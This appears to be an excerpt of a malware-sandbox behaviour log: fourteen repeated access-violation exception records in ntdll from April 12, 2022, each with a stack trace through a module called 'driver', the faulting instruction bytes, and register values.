__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
